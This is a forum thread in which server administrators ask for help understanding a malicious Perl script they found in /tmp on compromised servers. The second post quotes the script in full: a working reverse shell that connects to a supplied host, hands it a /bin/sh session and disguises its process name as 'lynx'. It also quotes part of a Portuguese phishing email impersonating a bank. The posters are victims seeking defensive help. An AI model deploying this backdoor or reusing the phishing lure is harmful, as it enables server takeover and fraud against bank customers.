Quote:
Originally Posted by falco85
I was looking through my log files and happened by a file upload that should not have been uploaded (through a script somehow they managed to upload although they shouldn't have access). I then immediatly went to the directory the script was inserted into "/tmp" and opened the file. The first line reads #!/usr/bin/perl and even though I have used perl before I still don't entirely understand what this script does.
Perl Code:
#!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton ($target) || die("Error: $!\n"); $paddr=sockaddr_in ($port, $iaddr) || die("Error: $!\n"); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET");
I can see that it opens lynx and connects to the local machine but what does this do:
Perl Code:
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
I understand echo and uname but is it calling /bin/sh?
From this point down I do not understand. Any of this I do not really understand what it is doing:
Perl Code:
$target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton ($target) || die("Error: $!\n"); $paddr=sockaddr_in ($port, $iaddr) || die("Error: $!\n"); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET");
Can someone help me figure out what the intention of this script is?
|
Same issue here. Do you have any news on this issue?
My details:
Hello.
Today I found a /tmp script (/tmp/back).
I have APF firewall and anti-DoS, secured tmp's and modsecurity2 on apache2 running gotroot rules.
How can it is possible to write a perl file on /tmp? File has not run permitions, but is a Perl file, so I think they ran it. I found this script after someone to send mail bomb through the server (about 9000 each time).
Server simptoms:
several connections from my server to ftp.hosteurope.de
several phishing emails being sent over my server
Script code:
Quote:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
|
Email Bazilian content:
Quote:
(...) Estamos fazendo atualizações críticas em nossos servidores, por esse motivo é necessário o recadastro de seus dados cadastrais para ter acesso a todos os serviços do Internet Banking Caixa.
Para realizar a atualização, basta baixar o programa de atualização da Caixa que segue link abaixo. (...)
|
How can server possible be compromised?
Any help will be appreciated.
Regards.